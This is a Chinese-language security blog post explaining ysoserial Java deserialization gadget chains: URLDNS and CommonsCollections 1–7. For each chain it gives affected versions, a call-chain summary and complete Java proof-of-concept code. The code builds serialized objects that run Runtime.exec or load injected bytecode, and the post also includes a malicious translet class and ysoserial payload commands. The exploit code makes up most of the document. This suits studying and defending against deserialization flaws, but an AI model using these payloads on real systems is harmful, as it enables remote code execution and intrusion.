ysoserial

Last updated on September 27, 2024 am

简介

ysoserial是一款用于生成利用不安全Java对象反序列化的有效负载的概念验证工具。

下载:https://github.com/frohoff/ysoserial

用法:

1
java -jar ysoserial.jar [payload] '[command]' | base64 | tr -d '\n'

依赖:

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

URLDNS

1
java -jar ysoserial.jar URLDNS "http://0a827c36.log.dnslog.biz" | base64 | tr -d '\n'

链子(主要是hashcode)

1
HashMap.readObject->HashMap.hash->URL.hashCode->URLStreamHandler.hashcode->URLStreamHandler.getHostAddress->URL.getHostAddress->InetAddress.getByName

getHostAddress从域名到ip肯定会做域名解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example;


import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>(); //定义一个HashMap对象
URL url=new URL("http://97092003.log.dnslog.biz"); //定义一个URL对象
Class c=url.getClass();
Field hashcodefield=c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123); // 更改hashcode的值为非-1,防止在put时就发送dns请求
hashMap.put(url,1);
hashcodefield.set(url,-1); //将hashcode的值改回-1,这样才能使反序列化后能够触发getHostAddress
serialize(hashMap);
// deserialize();
String ser="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAFzYxYzA3M2U1LmxvZy5kbnNsb2cuYml6dAAAcQB+AAV0AARodHRwcHh0AB5odHRwOi8vNjFjMDczZTUubG9nLmRuc2xvZy5iaXp4";
deserialize(ser);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
// public static Object deserialize() throws Exception {
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
// return ois.readObject();
// }
public static Object deserialize(String ser) throws Exception {
byte[] base64decodeBytes= Base64.getDecoder().decode(ser);
ByteArrayInputStream data=new ByteArrayInputStream(base64decodeBytes);
ObjectInputStream ois=new ObjectInputStream(data);
Object obj= ois.readObject();
System.out.println(obj);
return obj;
}
}

Commons Collection 1

影响版本:jdk<8u71,CommonsCollections 3.1 - 3.2.1

1
java -jar ysoserial.jar CommonsCollections1 "whoami" |base64 | tr -d '\n'

TransformedMap链

链子(这条链不是和ysoserial完全一样的)主要是transform方法,ChainedTransformer可以任意反射调用。

1
AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->ChainedTransformer.transform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<> ();
map.put("value", "fru1ts");
Map<Object,Object> transformedMap= TransformedMap.decorate(map, null, chainedTransformer);

Class c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object= constructor.newInstance(Retention.class,transformedMap);
serializeBase(object);
deserialize(serializeBase(object));

}
public static String serializeBase(Object obj) throws Exception{
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String ser) throws Exception {
byte[] base64decodeBytes= Base64.getDecoder().decode(ser);
ByteArrayInputStream data=new ByteArrayInputStream(base64decodeBytes);
ObjectInputStream ois=new ObjectInputStream(data);
Object obj= ois.readObject();
System.out.println(obj);
return obj;
}
}

LazyMap链

ysoserial中的CC1

1
AnnotationInvocationHandler.readObject->HashMap(Proxy).entrySet->AnnotationInvocationHandler.invoke->LazyMap.get->ChainedTransformer.transform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC1_ {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazymap = LazyMap.decorate(map,chainedTransformer);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class,Lazymap);
//动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class,mapProxy);
String s= serialize(o);
deserialize(s);

}

public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

调试

需要自己重写LazyMap.java不然调试都进不去然后就命令执行完了根本调不懂

Commons Collection 2

影响版本:jdk无限制,CommonsCollections 4.0

1
java -jar ysoserial.jar CommonsCollections2 "whoami" |base64 | tr -d '\n'
1
PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare->InvokerTransformer.transform->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses->TemplatesImpl.defineClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args)throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templatesimpl);
priorityQueue.add(1);
SetFieldValue(transformingComparator,"transformer",invokerTransformer);
String s= serialize(priorityQueue);
deserialize(s);
}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

}

Commons Collection 3

影响版本:jdk<8u71 ,CommonsCollections 3.1 - 3.2.1

1
java -jar ysoserial.jar CommonsCollections3 "whoami" |base64 | tr -d '\n'
1
前半条链是CC1->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses->TemplatesImpl.defineClass

InvokeTransformer.transform

1
前半条链是CC1->InvokeTransformer.transform->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses->TemplatesImpl.defineClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args)throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
// templatesimpl.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<> ();
map.put("value", "fru1ts");
Map<Object,Object> transformedMap= TransformedMap.decorate(map, null, chainedTransformer);

Class c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object= constructor.newInstance(Retention.class,transformedMap);
// serializeBase(object);
deserialize(serializeBase(object));

}

public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serializeBase(Object obj) throws Exception{
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String ser) throws Exception {
byte[] base64decodeBytes= Base64.getDecoder().decode(ser);
ByteArrayInputStream data=new ByteArrayInputStream(base64decodeBytes);
ObjectInputStream ois=new ObjectInputStream(data);
Object obj= ois.readObject();
return obj;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{

static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

InstantiateTransformer.transform

ysoserial用的就是这个

1
前半条链是CC1->InstantiateTransformer.transform->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses->TemplatesImpl.defineClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args)throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
// templatesimpl.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
// instantiateTransformer.transform(TrAXFilter.class);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<> ();
map.put("value", "fru1ts");
Map<Object,Object> transformedMap= TransformedMap.decorate(map, null, chainedTransformer);

Class c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object= constructor.newInstance(Retention.class,transformedMap);
serializeBase(object);
deserialize(serializeBase(object));

}

public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serializeBase(Object obj) throws Exception{
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String ser) throws Exception {
byte[] base64decodeBytes= Base64.getDecoder().decode(ser);
ByteArrayInputStream data=new ByteArrayInputStream(base64decodeBytes);
ObjectInputStream ois=new ObjectInputStream(data);
Object obj= ois.readObject();
return obj;
}
}

Commons Collection 4

影响版本:jdk无限制,CommonsCollections 4.0

1
java -jar ysoserial.jar CommonsCollections4 "whoami" |base64 | tr -d '\n'
1
PriorityQueue.readObject->PriorityQueue.heapify->TransformingComparator.compare->ChainedTransformer.transform->InstantiateTransformer.transform->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses->TemplatesImpl.defineClass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
SetFieldValue(priorityQueue,"size",2);
String s= serialize(priorityQueue);
deserialize(s);
}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

当然也可以不采用加载字节码改成反射调用Runtime

CommonsCollections 5

影响版本:jdk无限制,CommonsCollections 3.1 - 3.2.1

1
java -jar ysoserial.jar CommonsCollections5 "whoami" |base64 | tr -d '\n'
1
badAttributeValueExpException.readObject->TiedMapEntry.toString->TiedMapEntry.getValue->CC1中的LazyMap链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazymap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
SetFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
String s =serialize(badAttributeValueExpException);
deserialize(s);

}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

CommonsCollections 6

影响版本:jdk无限制,CommonsCollections 3.1 - 3.2.1

1
java -jar ysoserial.jar CommonsCollections6 "whoami" |base64 | tr -d '\n'
1
HashMap.readObject->HashMap.hash->TiedMapEntry.hashCode->TiedMapEntry.getValue->CC1中的LazyMap链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args)throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap,"aa");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"bb");
Lazymap.remove("aa");
Class c=LazyMap.class;
Field factoryfield=c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(Lazymap,chainedTransformer);
String s=serialize(hashMap);
deserialize(s);

}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

CommonsCollections 7

影响版本:jdk无限制,CommonsCollections 3.1 - 3.2.1

1
java -jar ysoserial.jar CommonsCollections7 "whoami" |base64 | tr -d '\n'
1
Hashtable.readObject->Hashtable.reconstitutionPut->AbstractMapDecorator.equals->AbstractMap.equals->CC1中的LazyMap链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);//这里的键值对不能改,需要满足hash碰撞
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
SetFieldValue(chainedTransformer,"iTransformers",Transformers);
lazyMap2.remove("yy");
String s=serialize(hashtable);
deserialize(s);

}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

}

参考

白日梦组长CommonsCollections反序列化

commons collection简介


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/09/07/ysoserial/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!